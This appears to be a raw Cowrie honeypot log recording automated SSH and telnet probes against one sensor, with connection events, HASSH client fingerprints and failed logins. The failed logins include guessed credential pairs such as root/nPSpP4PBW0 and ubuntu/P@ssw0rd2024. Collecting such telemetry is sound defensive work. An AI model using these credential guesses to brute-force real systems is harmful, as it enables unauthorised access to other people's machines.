{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:09.884969Z","src_ip":"159.203.92.129","session":"8ec4147fd93f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:09.890977Z","src_ip":"159.203.92.129","session":"8ec4147fd93f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ass-user","password":"123456","message":"login attempt [ass-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:09.904058Z","src_ip":"159.203.92.129","session":"8ec4147fd93f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:10.127159Z","src_ip":"202.4.106.201","session":"50896c0777ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:10.910115Z","src_ip":"159.203.92.129","session":"8ec4147fd93f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:11.053023Z","src_ip":"122.168.114.167","session":"34acbfb53d5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"1234","message":"login attempt [administrador/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:11.184249Z","src_ip":"202.4.106.201","session":"50896c0777ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:12.443016Z","src_ip":"202.4.106.201","session":"50896c0777ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:13.219417Z","src_ip":"122.168.114.167","session":"34acbfb53d5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":37544,"dst_ip":"159.203.135.109","dst_port":22,"session":"584147be8d9c","protocol":"ssh","message":"New connection: 159.223.45.177:37544 (159.203.135.109:22) [session: 584147be8d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:16.327875Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":41750,"dst_ip":"159.203.135.109","dst_port":22,"session":"94ed842eca99","protocol":"ssh","message":"New connection: 103.182.132.154:41750 (159.203.135.109:22) [session: 94ed842eca99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:18.445678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:18.449152Z","src_ip":"103.182.132.154","session":"94ed842eca99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:18.661988Z","src_ip":"103.182.132.154","session":"94ed842eca99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:19.098028Z","src_ip":"159.223.45.177","session":"584147be8d9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test123","password":"123456","message":"login attempt [test123/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:19.545855Z","src_ip":"103.182.132.154","session":"94ed842eca99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:20.761591Z","src_ip":"103.182.132.154","session":"94ed842eca99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.226370096206665,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:29.107494Z","src_ip":"103.1.184.33","session":"d4aff3265054","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":53162,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a68d341f53b","protocol":"ssh","message":"New connection: 122.168.114.167:53162 (159.203.135.109:22) [session: 1a68d341f53b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:42.060526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:43.283448Z","src_ip":"122.168.114.167","session":"1a68d341f53b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:43.286669Z","src_ip":"122.168.114.167","session":"1a68d341f53b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:49.786669Z","src_ip":"122.168.114.167","session":"1a68d341f53b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:52.428255Z","src_ip":"122.168.114.167","session":"1a68d341f53b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53944,"dst_ip":"159.203.135.109","dst_port":22,"session":"040c8f81d9cb","protocol":"ssh","message":"New connection: 159.203.92.129:53944 (159.203.135.109:22) [session: 040c8f81d9cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:55.602963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:55.609025Z","src_ip":"159.203.92.129","session":"040c8f81d9cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:55.616654Z","src_ip":"159.203.92.129","session":"040c8f81d9cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ass-user","password":"ass-user","message":"login attempt [ass-user/ass-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:55.630184Z","src_ip":"159.203.92.129","session":"040c8f81d9cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:28:56.637105Z","src_ip":"159.203.92.129","session":"040c8f81d9cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":41012,"dst_ip":"159.203.135.109","dst_port":22,"session":"977af3d95b89","protocol":"ssh","message":"New connection: 202.4.106.201:41012 (159.203.135.109:22) [session: 977af3d95b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:12.593981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:12.597303Z","src_ip":"202.4.106.201","session":"977af3d95b89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:12.872542Z","src_ip":"202.4.106.201","session":"977af3d95b89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password","message":"login attempt [ubuntu/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:13.962050Z","src_ip":"202.4.106.201","session":"977af3d95b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:15.229750Z","src_ip":"202.4.106.201","session":"977af3d95b89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":43226,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc86025c8a9d","protocol":"ssh","message":"New connection: 159.223.45.177:43226 (159.203.135.109:22) [session: cc86025c8a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:19.438210Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":46404,"dst_ip":"159.203.135.109","dst_port":22,"session":"423d1ad6f91c","protocol":"ssh","message":"New connection: 103.182.132.154:46404 (159.203.135.109:22) [session: 423d1ad6f91c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:20.173253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:20.177912Z","src_ip":"103.182.132.154","session":"423d1ad6f91c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:20.390997Z","src_ip":"103.182.132.154","session":"423d1ad6f91c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":55568,"dst_ip":"159.203.135.109","dst_port":22,"session":"19ccbc19f432","protocol":"ssh","message":"New connection: 122.168.114.167:55568 (159.203.135.109:22) [session: 19ccbc19f432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:20.624338Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd2024","message":"login attempt [ubuntu/P@ssw0rd2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:21.274193Z","src_ip":"103.182.132.154","session":"423d1ad6f91c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:22.489907Z","src_ip":"103.182.132.154","session":"423d1ad6f91c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:22.652660Z","src_ip":"122.168.114.167","session":"19ccbc19f432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:29:22.657221Z","src_ip":"122.168.114.167","session":"19ccbc19f432","protocol":"ssh"}
